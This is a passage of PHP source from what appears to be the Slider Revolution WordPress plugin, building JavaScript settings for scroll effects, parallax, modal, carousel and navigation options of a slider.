		$mpl = $s->get_param(array('scrolleffects', 'multiplicatorLayers'), '0.5'); //was 1.3
		$ti	 = $s->get_param(array('scrolleffects', 'tilt'), '30');
		$dom = $s->get_param(array('scrolleffects', 'disableOnMobile'), false);
		
		$se['set'] = $ge;
		if($fa !== false) $se['fade'] = $fa;
		if($bl !== false) $se['blur'] = $bl;
		if($sgs !== false) $se['grayscale'] = $sgs;
		if(!in_array($mb, array(10, '10', '10px'), true)) $se['maxblur'] = $mb;
		if($ol !== false) $se['layers'] = $ol;
		if($bg !== false) $se['slide'] = $bg;		
		if($d !== 'both') $se['direction'] = $d;
		if(!in_array($mp, array(1.35, '1.35'), true)) $se['multiplicator'] = $mp;
		if(!in_array($mpl, array(0.5, '0.5'), true))$se['multiplicator_layers'] = $mpl;
		if(!in_array($ti, array(30, '30'), true)) $se['tilt'] = $ti;
		if($dom !== false) $se['disable_onmobile'] = $dom;
		
		if(!empty($se)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'scrolleffect: {'."\n";
			foreach($se as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}

	/**
	 * get the scroll based timeline settings
	 */
	public function js_get_scrollbased_timeline(){
		$html = '';
		$s	= $this->slider; //shorten
		$se	= array();
		
		$fa	 = $s->get_param(array('scrolltimeline', 'set'), false);
		
		if($fa === false) return $html;
		
		$pc	 = $s->get_param(array('scrolltimeline', 'pullcontent'), false);
		$ol	 = $s->get_param(array('scrolltimeline', 'layers'), false);
		$ea	 = $s->get_param(array('scrolltimeline', 'ease'), 'none');
		$this->easings[$ea] = $ea;
		$sp	 = $s->get_param(array('scrolltimeline', 'speed'), 500);
		
		$sfix	= $s->get_param(array('scrolltimeline', 'fixed'), false);
		$sfixs	= $s->get_param(array('scrolltimeline', 'fixedStart'), 0);
		$sfixe	= $s->get_param(array('scrolltimeline', 'fixedEnd'), 0);

		$se['set'] = $fa;
		if($pc !== false) $se['pullc'] = $pc;
		if($ol !== false) $se['layers'] = $ol;
		if($ea !== 'none') $se['ease'] = $ea;
		if($sp !== 500 && $sp !== '500' && $sp !== '500ms') $se['speed'] = $sp;
		if($sfix === true){
			$se['fixed']	= $sfix;
			$se['fixStart']	= $sfixs;
			$se['fixEnd']	= $sfixe;
		}

		if(!empty($se)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'sbtimeline: {'."\n";
			foreach($se as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
		
	}
	

	/**
	 * get the carousel attibutes
	 **/
	public function js_get_parallax(){
		$html = '';
		$s	= $this->slider; //shorten
		$p	= array();
		
		if($s->get_param(array('parallax', 'set'), false) === false) return $html;

		$sd = $s->get_param(array('parallax', 'setDDD'), false);		
		$pt = ($sd === true) ? '3D' : $s->get_param(array('parallax', 'mouse', 'type'), 'off');
		$pl = array();
		for($i = 0; $i <= 15; $i++){
			$pl[] = intval($s->get_param(array('parallax', 'levels', $i), ($i + 1) * 5));
		}
		$pl = implode(',', $pl);
		$or = ($sd === true) ? 'slidercenter' : $s->get_param(array('parallax', 'mouse', 'origo'), 'enterpoint');
		$sp = $s->get_param(array('parallax', 'mouse', 'speed'), 400);
		$dpm = $s->get_param(array('parallax', 'disableOnMobile'), false);
		$bgs = $s->get_param(array('parallax', 'mouse', 'bgSpeed'), 0);
		$ls = $s->get_param(array('parallax', 'mouse', 'layersSpeed'), 0);
		
		
		
		$p['levels'] = '['.$pl.']';
		if($pt !== 'off') $p['type'] = $pt;
		if($or !== 'enterpoint') $p['origo'] = $or;
		if(!in_array($sp, array(400, '400', '400ms'), true)) $p['speed'] = $sp;
		if($dpm !== false) $p['disable_onmobile'] = $dpm;
		if($pt === '3D'){
			$sh	 = $s->get_param(array('parallax', 'ddd', 'shadow'), false);
			$bgf = $s->get_param(array('parallax', 'ddd', 'BGFreeze'), false);
			$of	 = $s->get_param(array('parallax', 'ddd', 'overflow'), false);
			$lof = $s->get_param(array('parallax', 'ddd', 'layerOverflow'), false);
			$zc	 = $s->get_param(array('parallax', 'ddd', 'zCorrection'), 400);
			
			if($sh !== false) $p['ddd_shadow'] = $sh;
			if($bgf !== false) $p['ddd_bgfreeze'] = $bgf;
			if($of !== false) $p['ddd_overflow'] = ($of === false) ? 'visible' : 'hidden';
			if($lof !== false) $p['ddd_layer_overflow'] = $lof;
			if(!in_array($zc, array(400, '400', '400px'), true)) $p['ddd_z_correction'] = $zc;
		} else 
		if ($pt === 'mousedrag') {
			$p['car_env']	 = $s->get_param(array('parallax', 'mouse', 'env'), 'single');
			$p['car_dir']	 = $s->get_param(array('parallax', 'mouse', 'dir'), 'same');
			$p['car_smulti']	 = $s->get_param(array('parallax', 'mouse', 'smulti'), 1);
			$p['car_omulti']	 = $s->get_param(array('parallax', 'mouse', 'omulti'), 1);
		}
		if(!in_array($bgs, array(0, '0', '0ms'), true)) $p['speedbg'] = $bgs;
		if(!in_array($ls, array(0, '0', '0ms'), true)) $p['speedls'] = $ls;
		
		if(!empty($p)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'parallax: {'."\n";
			foreach($p as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}

	/**
	 * get the overlay attributes
	 * @since: 6.4.0
	 */
	public function js_get_overlay(){
		$html	= '';
		$s		= $this->slider; //shorten
		$do		= $s->get_param(array('layout', 'bg', 'dottedOverlay'), 'none');
		
		if($do !== 'none'){
			$colora = str_replace(' ', '', $s->get_param(array('layout', 'bg', 'dottedColorA'), 'transparent'));
			$colorb = str_replace(' ', '', $s->get_param(array('layout', 'bg', 'dottedColorB'), '#000000'));
			$size	= $s->get_param(array('layout', 'bg', 'dottedOverlaySize'), 1);
			
			$html .= $this->JTA . RS_T5.'overlay: {'."\n";
			$html .= $this->JTA . RS_T6.'type: '.$this->write_js_var($do).",\n";
			$html .= ($colora !== 'transparent') ? $this->JTA . RS_T6.'colora: '.$this->write_js_var($colora).",\n" : '';
			$html .= (!in_array($colorb, array('', '#000000', '#000'), true)) ? $this->JTA . RS_T6.'colorb: '.$this->write_js_var($colorb).",\n" : '';
			$html .= (!in_array($size, array('', '1', 1), true)) ? $this->JTA . RS_T6.'size: '.$this->write_js_var($size).",\n" : '';
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}
	
	
	/**
	 * get the Modal Attributes
	 */
	public function js_get_modal(){
		$html	= '';
		$s		= $this->slider; //shorten
		
		if($this->usage !== 'modal') return $html;
		
		$cover = $s->get_param(array('modal', 'cover'), true);
		$pagescroll = $s->get_param(array('modal', 'allowPageScroll'), true);
		$bodyclass = $s->get_param(array('modal', 'bodyclass'), '');		
		$speed = $s->get_param(array('modal', 'coverSpeed'), 1);
		$color = $s->get_param(array('modal', 'coverColor'), 'rgba(0,0,0,0.5)');
		$h = $s->get_param(array('modal', 'horizontal'), 'center');
		$v = $s->get_param(array('modal', 'vertical'), 'middle');
		
		$c['useAsModal'] = true;
		$c['alias'] = esc_attr($this->slider->get_alias());
		if($bodyclass !== '') $c['bodyclass'] = $bodyclass;
		if($cover !== true) $c['cover'] = $cover;
		if($pagescroll === true) $c['allowPageScroll'] = true;
		if($color !== 'rgba(0,0,0,0.5)') $c['coverColor'] = $color;
		if($speed !== 1) $c['coverSpeed'] = $speed;
		if($h !== 'center') $c['horizontal'] = $h;
		if($v !== 'middle') $c['vertical'] = $v;
		if ($this->modal !== '') $c['trigger'] = $this->modal;
		$ff = true;
		$html .= $this->JTA . RS_T5.'modal: {'."\n";
		foreach($c as $k => $v){
			$html .= ($ff === true) ? '' : ','."\n";
			$html .= $this->JTA . RS_T6.$k.':';
			$html .= $this->write_js_var($v);
			$ff = false;
		}
		$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		
		return $html;
	}

	/**
	 * get the carousel attibutes
	 **/
	public function js_get_carousel(){
		$html	= '';
		$s		= $this->slider; //shorten
		$s_type = $s->get_param('type', 'standard');
		
		if($s_type !== 'carousel') return $html;
		
		$c = array();
		
		$ease = $s->get_param(array('carousel', 'ease'), 'power3.inOut');
		$this->easings[$ease] = $ease;
		$speed = $s->get_param(array('carousel', 'speed'), 800);
		$osh = $s->get_param(array('carousel', 'overshoot'), false);
		$sal = $s->get_param(array('carousel', 'showAllLayers'), false);
		$ha = $s->get_param(array('carousel', 'horizontal'), 'center');
		$va = $s->get_param(array('carousel', 'vertical'), 'center');
		$in = $s->get_param(array('carousel', 'infinity'), false);
		$jus = $s->get_param(array('carousel', 'justify'), false);
		$ori = $s->get_param(array('carousel', 'orientation'), 'h');
		$pnv = $s->get_param(array('carousel', 'prevNextVis'), '0px');
		$socl = $s->get_param(array('carousel', 'stopOnClick'), true);
		$jusmw = $s->get_param(array('carousel', 'justifyMaxWidth'), false);
		
		$snap = $s->get_param(array('carousel', 'snap'), true);
		$sp = $s->get_param(array('carousel', 'space'), 0);
		$mvi = $s->get_param(array('carousel', 'maxItems'), 3);
		$st = $s->get_param(array('carousel', 'stretch'), false);
		$sn = $s->get_param(array('carousel', 'spin'), 'off');
		$sna = $s->get_param(array('carousel', 'spinAngle'), 0);
		$skx = $s->get_param(array('carousel', 'skewX'), 0);
		$sky = $s->get_param(array('carousel', 'skewY'), 0);
		$fo = $s->get_param(array('carousel', 'fadeOut'), true);
		$cr = $s->get_param(array('carousel', 'rotation'), false);
		$cs = $s->get_param(array('carousel', 'scale'), false);
		$br = $s->get_param(array('carousel', 'borderRadius'), 0);
		$pt = $s->get_param(array('carousel', 'paddingTop'), 0);
		$pb = $s->get_param(array('carousel', 'paddingBottom'), 0);
		if ($ori=="v") $st = false;
		
		if($ease !== 'power3.inOut') $c['easing'] = $ease;
		if(!in_array($speed, array(800, '800', '800ms'), true)) $c['speed'] = $speed;
		if($osh !== false) $c['overshoot'] = $osh;
		if(!in_array($sal, array('false', false), true)) $c['showLayersAllTime'] = $sal;
		if($ha !== 'center') $c['horizontal_align'] = $ha;
		if($va !== 'center') $c['vertical_align'] = $va;
		if($in !== false) $c['infinity'] = $in;
		if($jus !== false) $c['justify'] = $jus;
		if($ori !== 'h') {
			$c['orientation'] = $ori;
		 	$c['prevNextVis'] = $pnv;
		}
		if($jusmw !== false) $c['justifyMaxWidth'] = $jusmw;
		if($snap !== true) $c['snap'] = $snap;
		if($socl !== true) $c['stopOnClick'] = $socl;
		if(!in_array($sp, array(0, '0', '0px'), true)) $c['space'] = $sp;
		if(!in_array($mvi, array(3, '3'), true)) $c['maxVisibleItems'] = $mvi;
		if($st !== false) $c['stretch'] = $st;
		if($fo !== true) $c['fadeout'] = $fo;
		if($sn !== 'off') $c['spin'] = $sn;
		if($sna !== 0) $c['spinAngle'] = $sna;
		if($skx !== 0) $c['skewX'] = $skx;
		if($sky !== 0) $c['skewY'] = $sky;
		if($cr === true){
			$mr = $s->get_param(array('carousel', 'maxRotation'), 0);
			$vr = $s->get_param(array('carousel', 'varyRotate'), false);
			
			if(!in_array($mr, array(0, '0', '0deg'), true)) $c['maxRotation'] = $mr;
			if($vr === true) $c['vary_rotation'] = $vr;
		}
		
		if($cs === true){
			$csd = $s->get_param(array('carousel', 'scaleDown'), 50);
			$csd = (intval(str_replace('%', '', $csd)) > 100) ? 100 : $csd;
			$vs = $s->get_param(array('carousel', 'varyScale'), false);
			$os = $s->get_param(array('carousel', 'offsetScale'), false);
			$c['minScale'] = $csd;
			if($os === true) $c['offsetScale'] = $os;
			if($vs === true) $c['vary_scale'] = $vs;
		}
		if($fo === true){
			$vf = $s->get_param(array('carousel', 'varyFade'), false);
			if($vf !== false) $c['vary_fade'] = $vf;
			$mo = $s->get_param(array('carousel', 'maxOpacity'), 100);
			$mo = (intval(str_replace('%', '', $mo)) > 100) ? 100 : $mo;
			if(!in_array($mo, array(100, '100'), true)) $c['maxOpacity'] = $mo;
		}
		if(!in_array($br, array(0, '0', '0px'), true)) $c['border_radius'] = $br;
		if ($ori!=='v') {
			if(!in_array($pt, array(0, '0', '0px'), true)) $c['padding_top'] = $pt;
			if(!in_array($pb, array(0, '0', '0px'), true)) $c['padding_bottom'] = $pb;
		}
		
		if(!empty($c)){
			$ff = true;
			$html .= $this->JTA . RS_T5.'carousel: {'."\n";
			foreach($c as $k => $v){
				$html .= ($ff === true) ? '' : ','."\n";
				$html .= $this->JTA . RS_T6.$k.':';
				$html .= $this->write_js_var($v);
				$ff = false;
			}
			$html .= "\n".$this->JTA . RS_T5.'},'."\n";
		}
		
		return $html;
	}

	/**
	 * get all the basic js keys we need
	 **/
	public function js_get_root(){
		$html	= '';
		$s		= $this->slider; //shorten
		$js_loc_r = explode('://', RS_PLUGIN_URL);
		$global = $this->get_global_settings();
		$l_type	= $s->get_param('layouttype');
		$s_type = $s->get_param('type', 'standard');
		$DPR = $s->get_param(array('general', 'DPR'), 'x2');
		$csizes = $this->get_responsive_size($this);
		
		$fw		= ($l_type == 'fullwidth') ? 'on' : 'off';
		$fw		= ($l_type == 'fullscreen') ? 'off' : $fw;
		$fs		= ($l_type == 'fullscreen') ? 'on' : 'off';
		$layout	= 'auto';
		if($fs == 'on'){
			$layout = 'fullscreen';
		}elseif($fw == 'on'){
			$layout = 'fullwidth';
		}
		$hsal = str_replace('px', '', $s->get_param(array('visibility', 'hideSliderUnderLimit'), 0));
		$hlal = str_replace('px', '', $s->get_param(array('visibility', 'hideSelectedLayersUnderLimit'), 0));
		$halul= str_replace('px', '', $s->get_param(array('visibility', 'hideAllLayersUnderLimit'), 0));
		if(!empty($hsal)) $hsal++;
		if(!empty($hlal)) $hlal++;
		if(!empty($halul)) $halul++;
		$start_delay = $s->get_param(array('general', 'slideshow', 'initDelay'), '0');
		$start_delay = apply_filters('revslider_add_js_delay', $start_delay);
		$spinner = $s->get_param(array('layout', 'spinner', 'type'), '0');
		$spinner = (in_array($spinner, array(-1, '-1'), true)) ? 'off' : $spinner;
		
		$keys = array(
			'revapi' => array(
				'v' => $this->get_revapi(),
                'd' => 'none'
			),
			'sliderType' => array(
				'v' => $s_type,
				'd' => 'standard'
			),
			'DPR' => array(
				'v' => $DPR,
				'd' => 'x2'
			),
			/*'jsFileLocation' => array(
				'v' => '//'.$js_loc_r[1] .'public/assets/js/',
				'd' => ''
			),*/
			'sliderLayout' => array(
				'v' => $layout,
				'd' => 'auto'
			),
			/*'dottedOverlay' => array( //moved to multidimensional outside of this in 6.4.0
				'v' => $s->get_param(array('layout', 'bg', 'dottedOverlay'), 'none'),
				'd' => 'none'
			),*/
			'duration' => array(
				'v' => $s->get_param(array('def', 'delay'), '9000'),
				'd' => array(9000, '9000', '9000ms')
			),
			'visibilityLevels' => array(
				'v' => ($this->get_val($csizes, 'level', '') !== '') ? $this->get_val($csizes, 'level') : $this->get_val($csizes, 'visibilitylevel'),
				'd' => ''
			),
			'gridwidth' => array(
				'v' => $this->get_val($csizes, 'width'),
				'd' => ''
			),
			'gridheight' => array(
				'v' => $this->get_val($csizes, 'height'),
				'd' => ''
			),
			'minHeight' => array(
				'v' => ($l_type !== 'fullscreen') ? $s->get_param(array('size', 'minHeight'), 0) : $s->get_param(array('size', 'minHeightFullScreen'), 0),
				'd' => array(0, '0', '0px')
			),
			'autoHeight' => array(
				'v' => $s->get_param(array('size', 'respectAspectRatio'), false),
				'd' => false
			),
			'enableUpscaling' => array(
				'v' => $s->get_param(array('size', 'enableUpscaling'), false),
				'd' => false
			),
			'hideSliderAtLimit' => array(
				'v' => $hsal,
				'd' => array(0, '0', '0px')
			),
			'hideLayerAtLimit' => array(
				'v' => $hlal,
				'd' => array(0, '0', '0px')
			),
			'hideAllLayerAtLimit' => array(
				'v' => $halul,
				'd' => array(0, '0', '0px')
			),
			'startDelay' => array(
				'v' => $start_delay,
				'd' => array(0, '0')
			),
			'lazyType' => array(
				'v' => $s->get_param(array('general', 'lazyLoad'), 'none'),
				'd' => 'none'
			),
			'spinner' => array(
				'v' => 'spinner'.$spinner,
				'd' => 'spinneroff'
			),			
			'fixedOnTop' => array(
				'v' => $s->get_param(array('layout', 'position', 'fixedOnTop'), false),
				'd' => false
			),
			'forceOverflow' => array(
				'v' => $s->get_param(array('size', 'forceOverflow'), false),
				'd' => false
			),
			'overflowHidden' => array(
				'v' => $s->get_param(array('size', 'overflowHidden'), false),
				'd' => false
			)
			,'useFullScreenHeight' => array(
				'v' => $s->get_param(array('size', 'useFullScreenHeight'), true),
				'd' => true
			),
			'maxHeight' => array(
				'v' => $s->get_param(array('size', 'maxHeight'), 'none'),
				'd' => array('', 0, '0', 'none')
			),
			'perspective' => array(
				'v' => $s->get_param(array('general', 'perspective'), '600px'),
				'd' => '600px'
			),
			'perspectiveType' => array(
				'v' => $s->get_param(array('general', 'perspectiveType'), 'local'),
				'd' => array('none')
			),
			'keepBPHeight' => array(
				'v' => $s->get_param(array('size', 'keepBPHeight'), false),
				'd' => false
			),
			'observeWrap' => array(
				'v' => $s->get_param(array('general', 'observeWrap'), false),
				'd' => false
			)
		);
				
		/**
		 * Shortcode Based Layout
		 */		 
		if($this->sc_layout !== ''){
			$keys['sliderLayout']['v'] = $this->sc_layout;
		}

		if($keys['sliderType']['v']!=="carousel" || $keys['sliderLayout']['v']!=='fullscreen') {
			unset($keys['useFullScreenHeight']);
		}

		if($keys['minHeight']['v']==="") {
			unset($keys['minHeight']);
		}

		/**
		 * Shortcode based Block Spacing
		 */
		if($this->offset !== ''){
			$keys['blockSpacing'] = array(
				'v' => $this->offset,
				'd' => ''
			);
		}
		
		/**
		 * new spinners
		 **/
		if($spinner !== 'off' && intval($spinner) > 5){
			$keys['spinnerclr'] = array(
				'v' => $s->get_param(array('layout', 'spinner', 'color'), '#ffffff'),
				'd' => '#ffffff'
			);
		}
		
		$imgcrossOrigin = $this->get_val($global, 'imgcrossOrigin', 'unset');
		if(!in_array($imgcrossOrigin, array('', 'unset'))){
			$keys['imgCrossOrigin'] = array('v' => $imgcrossOrigin, 'd' => 'unset');
		}
		
		$onedpronmobile = $this->get_val($global, 'onedpronmobile', false);
		if(in_array($onedpronmobile, array(true, 'true'), true)){
			$keys['onedpronmobile'] = array('v' => true, 'd' => false);
		}
		
		$lazyloaddata = $this->get_val($global, 'lazyloaddata', '');
		if($lazyloaddata !== ''){
			$keys['lazyloaddata'] = array('v' => $lazyloaddata, 'd' => '');
		}
		
		$lazyloadbg = $this->get_val($global, 'lazyonbg', false);
		if($lazyloadbg !== false && $lazyloadbg !== 'false'){
			$keys['lazyOnBg'] = array('v' => $lazyloadbg, 'd' => false);
		}

		$cache_size = $this->slider->get_param(array('size', 'editorCache'), false);
		if($cache_size !== false){
			$keys['editorheight'] = array('v' => implode(',', (array)$cache_size), 'd' => '');
		}
		
		if($this->get_val($csizes, 'level', '') !== ''){
			$keys['responsiveLevels'] = array('v' => $csizes['level'], 'd' => '');
		}
		if($l_type == 'fullscreen'){
			$keys['disableForceFullWidth'] = array('v' => $s->get_param(array('size', 'disableForceFullWidth'), false), 'd' => false);
			$keys['ignoreHeightChange'] = array('v' => $s->get_param(array('size', 'ignoreHeightChanges'), true), 'd' => true);
			$keys['gridEQModule'] = array('v' => $s->get_param(array('size', 'gridEQModule'), false), 'd' => false);
			$keys['fullScreenOffsetContainer'] = array('v' => $s->get_param(array('size', 'fullScreenOffsetContainer'), ''), 'd' => '');
			$keys['fullScreenOffset'] = array('v' => $s->get_param(array('size', 'fullScreenOffset'), ''), 'd' => '');
		}

		if($s_type !== 'hero'){
			$stopSlider	 = $s->get_param(array('general', 'slideshow', 'stopSlider'), false);
			$loopSingle	 = $s->get_param(array('general', 'slideshow', 'loopSingle'), true);
			$stopAtSlide = $s->get_param(array('general', 'slideshow', 'stopAtSlide'), -1);
			$stopAfterLoops = $s->get_param(array('general', 'slideshow', 'stopAfterLoops'), 0);
			$slideShow	 = $s->get_param(array('general', 'slideshow', 'slideShow'), true);
			
			if(!$this->get_is_single_slide()){
				if($slideShow === false){
					$stopAtSlide = 1;
					$stopAfterLoops = 0;
				}
				
				if($slideShow === true && $stopSlider === false){
					$stopAtSlide = -1;
					$stopAfterLoops = -1;
				}

			}else{
				if($loopSingle === true){
					$stopAtSlide = -1;
					$stopAfterLoops = -1;
				}
			}
			
			$keys['stopAtSlide'] = array('v' => $stopAtSlide, 'd' => array(-1, '-1'));
			$keys['stopAfterLoops'] = array('v' => $stopAfterLoops, 'd' => array(-1, '-1'));
			$keys['shuffle'] = array('v' => $s->get_param(array('general', 'slideshow', 'shuffle'), false), 'd' => false);
		}
		
		$parallax = $s->get_param(array('parallax', 'set'), false);
		$parallax_type = $s->get_param(array('parallax', 'mouse', 'type'), 'mouse');
		if($s->get_param(array('parallax', 'setDDD'), false) == true){
			$parallax_type = '3D';
		}
		if($parallax != true || ($parallax == true && $parallax_type != '3D')){
			$keys['shadow'] = array('v' => $s->get_param(array('layout', 'bg', 'shadow'), 0), 'd' => array(0, '0'));
		}
		
		if($s_type !== 'hero'){
			$keys['stopLoop'] = array('v' => $s->get_param(array('general', 'slideshow', 'stopSlider'), false), 'd' => false);
			
			if($s->get_param(array('general', 'firstSlide', 'alternativeFirstSlideSet'), false) === true) 				
				$keys['startWithSlide'] = array('v' => $s->get_param(array('general', 'firstSlide', 'alternativeFirstSlide'), 1), 'd' => '9999');
			
			
		}
		$keys['waitForInit'] = array('v' => $s->get_param(array('general', 'slideshow', 'waitForInit'), false), 'd' => false);
		
		if($this->frontend_action){
			$keys['ajaxUrl'] = array('v' => admin_url('admin-ajax.php'), 'd' => '');
			//$keys['ajaxNonce'] = ($this->caching) ? array('v' => '##NONCE##', 'd' => '') : array('v' => wp_create_nonce('RevSlider_Front'), 'd' => '');
		}
		
		if(!empty($keys)){
			foreach($keys as $k => $v){
				if(is_array($v['d'])){
					if(in_array($v['v'], $v['d'], true)) continue;
				}else{
					if($v['v'] === $v['d']) continue;
				}
				$html .= $this->JTA . RS_T5.$k.':';
				$html .= $this->write_js_var($v['v']);
				$html .= ','."\n";
			}
		}
		
		return $html;
	}

	/**
	 * Generate the Navigation CSS of the chosen Navigations
	 **/
	public function get_navigation_css(){
		$css = '';
		$s		= $this->slider; //shorten
		$lot	= $s->get_param('type', 'standard');
		$navs	= array('arrows', 'bullets', 'tabs', 'thumbs');
		$_all_navs = array_merge($navs, array('swipe', 'keyboard', 'mouse'));
		$found	= false;
		
		foreach($_all_navs as $nav){
			if($s->get_param(array('nav', $nav, 'set'), false) === true){
				$found = true;
				break;
			}
		}
		
		if($lot === 'hero' || $found === false) return $css;
		
		$rs_nav = new RevSliderNavigation();
		$all_navs = $rs_nav->get_all_navigations();
		
		foreach($navs as $n){
			if($s->get_param(array('nav', $n, 'set'), true) === true){
				$nar = $s->get_param(array('nav', $n, 'style'), 'round');
				if(!empty($all_navs)){
					foreach($all_navs as $cur_nav){
						if($cur_nav['id'] == $nar){
							$css .= (isset($cur_nav['css'])) ? $rs_nav->add_placeholder_modifications($cur_nav, $s, $this)."\n" : '';
							break;
						}
					}
				}
			}
		}
		
		$html = '';
		if(trim($css) !== ''){
			$html = $this->get_css_javascript($css);
		}

		return $html;
	}


	/**
	 * Generate the Navigation JavaScript
	 **/
	public function js_get_navigation(){
		$h		= array();
		$s		= $this->slider; //shorten
		$lot	= $s->get_param('type', 'standard');
		$navs	= array('arrows', 'bullets', 'tabs', 'thumbs');
		$_all_navs = array_merge($navs, array('swipe', 'keyboard', 'mouse'));
		$found	= false;
		
		foreach($_all_navs as $nav){
			if($s->get_param(array('nav', $nav, 'set'), false) === true){
				$found = true;
				break;
			}
		}
		$msn = $s->get_param(array('nav', 'mouse', 'set'), false);
		$tod = $s->get_param(array('nav', 'swipe', 'setOnDesktop'), false); 

		if($msn === 'on' || $msn === 'carousel' || $tod === true) $found = true;

		if($lot === 'hero' || $found === false){
			//we still need onHoverStop
			$ohs = $s->get_param(array('general', 'slideshow', 'stopOnHover'), true);
			if($ohs === false)
				$h['onHoverStop'] = false;
		}else{
			$rs_nav = new RevSliderNavigation();
			$all_navs = $rs_nav->get_all_navigations();
			
			//KEYBOARD
			$kbn = $s->get_param(array('nav', 'keyboard', 'set'), false);
			$kbd = $s->get_param(array('nav', 'keyboard', 'direction'), 'horizontal');
			
			$msr = $s->get_param(array('nav', 'mouse', 'reverse'), false);
			$msst = $s->get_param(array('nav', 'mouse', 'target'), 'window');
			$mstr = $s->get_param(array('nav', 'mouse', 'threshold'), 50);
			$mswu = $s->get_param(array('nav', 'mouse', 'viewport'), 50);
			$mscd = $s->get_param(array('nav', 'mouse', 'calldelay'), '1000ms');
			$ohs = $s->get_param(array('general', 'slideshow', 'stopOnHover'), true);
			
			if($kbn === true)		 $h['keyboardNavigation'] = true;
			if($kbd !== 'horizontal')$h['keyboard_direction'] = $kbd;
			if($msn !== 'off')		 $h['mouseScrollNavigation'] = $msn;
			if($msr !== 'default')	 $h['mouseScrollReverse'] = $msr;
			if($msst !== 'window')	 $h['target'] = $msst;
			if($mstr !== 50)		 $h['threshold'] = $mstr;
			if($mswu !== 50)		 $h['wheelViewPort'] = $mswu;
			if($mscd !== '1000ms')		 $h['wheelCallDelay'] = $mscd;
			
			if($ohs === false)		 $h['onHoverStop'] = false;
			
			//TOUCH
			$ctom = $s->get_param(array('nav', 'swipe', 'setMobileCarousel'), true); 
			$ctod = $s->get_param(array('nav', 'swipe', 'setDesktopCarousel'), true); 
			$te =  ($tod === true) ? true : $s->get_param(array('nav', 'swipe', 'set'), false);
			
			if($te === true || ($lot === 'carousel' && ($ctod===false || $ctom===false))){
				$sth = intval($s->get_param(array('nav', 'swipe', 'velocity'), 75));
				$smt = intval($s->get_param(array('nav', 'swipe', 'minTouch'), '1'));
				$sd	 = $s->get_param(array('nav', 'swipe', 'direction'), 'horizontal');
				$dbv = $s->get_param(array('nav', 'swipe', 'blockDragVertical'), false);
				
				$h['touch'] = array();
				$h['touch']['touchenabled'] = $te;
				if($tod === true)		 $h['touch']['touchOnDesktop'] = true;
				if($sth !== 75)			 $h['touch']['swipe_threshold'] = $sth;
				if($smt !== 1)			 $h['touch']['swipe_min_touches'] = $smt;
				if($sd !== 'horizontal') $h['touch']['swipe_direction'] = $sd;
				if($dbv !== false)		 $h['touch']['drag_block_vertical'] = $dbv;
				if($lot === 'carousel' && $ctod===false) $h['touch']['desktopCarousel'] = false;
				if($lot === 'carousel' && $ctom===false) $h['touch']['mobileCarousel'] = false;
			}
			
			//NAVIGATION
			$defaults = array(
				'arrows' => array(
					'tmp' => ''
				),
				'bullets' => array(
					'tmp' => '<span class="tp-bullet-image"></span><span class="tp-bullet-title"></span>',
					'space' => 5
				),
				'thumbs' => array(
					'tmp' => '<span class="tp-thumb-image"></span><span class="tp-thumb-title"></span>',
					'space' => 2,
					'wrapper_padding' => 2
				),
				'tabs' => array(
					'tmp' => '<span class="tp-tab-image"></span>',
					'space' => 0,
					'wrapper_padding' => 10
				)
			);
			
			foreach($navs as $n){
				$as = $s->get_param(array('nav', $n, 'set'), false);
				if($as === true){
					$h[$n] = array();
					$h[$n]['enable'] = $as;
					
					$nar = $s->get_param(array('nav', $n, 'style'), 'round');
					$tmp = '';
					if(!empty($all_navs)){
						foreach($all_navs as $cur_nav){
							if($cur_nav['id'] == $nar){
								$nar = $cur_nav['handle'];
								$tmp = $this->get_val($cur_nav, 'markup', $tmp);
								break;
							}
						}
					}
					$tmp = preg_replace("/\r|\n/", "", $tmp);
					$tmp = str_replace('"', '\\"', $tmp);
					$hom = $s->get_param(array('nav', $n, 'hideUnder'), false);
					$ho = $s->get_param(array('nav', $n, 'hideOver'), false);
					$ao = $s->get_param(array('nav', $n, 'alwaysOn'), true);
					$anim = $s->get_param(array('nav', $n, 'anim'), 'fade');
					$aspeed = $s->get_param(array('nav', $n, 'animSpeed'), '1000ms');
					$adelay = $s->get_param(array('nav', $n, 'animDelay'), '1000ms');
					$rtl = $s->get_param(array('nav', $n, 'rtl'), false);
					
					if($tmp !== $defaults[$n]['tmp'])	$h[$n]['tmp'] = $tmp;
					if($nar !== '')						$h[$n]['style'] = $nar;
					if($hom === true)					$h[$n]['hide_onmobile'] = $hom;
					if($hom === true){
						$hu = $s->get_param(array('nav', $n, 'hideUnderLimit'), 0);
						if(!in_array($hu, array(0, '0', '0px'), true)) $h[$n]['hide_under'] = $hu;
					}
					if($ho === true){
						$hol = $s->get_param(array('nav', $n, 'hideOverLimit'), 9999);
						if(!in_array($hol, array(9999, '9999', '9999px'), true)) $h[$n]['hide_over'] = $hol;
					}
					if($ao === false) $h[$n]['hide_onleave'] = true;
					if($ao === false){
						$hd = $s->get_param(array('nav', $n, 'hideDelay'), 200);
						$hdm = $s->get_param(array('nav', $n, 'hideDelayMobile'), 1200);
						
						if(!in_array($hd, array(200, '200', '200px'), true)) $h[$n]['hide_delay'] = $hd;
						if(!in_array($hdm, array(1200, '1200', '1200px'), true)) $h[$n]['hide_delay_mobile'] = $hdm;
					}
					if($rtl === true) $h[$n]['rtl'] = true;

					if($anim !=='fade') $h[$n]['anim'] = $anim;
					if($aspeed !=='1000ms') $h[$n]['animSpeed'] = $aspeed;
					if($adelay !=='1000ms') $h[$n]['animDelay'] = $adelay;
					
					//left only at arrows
					if($n === 'arrows'){
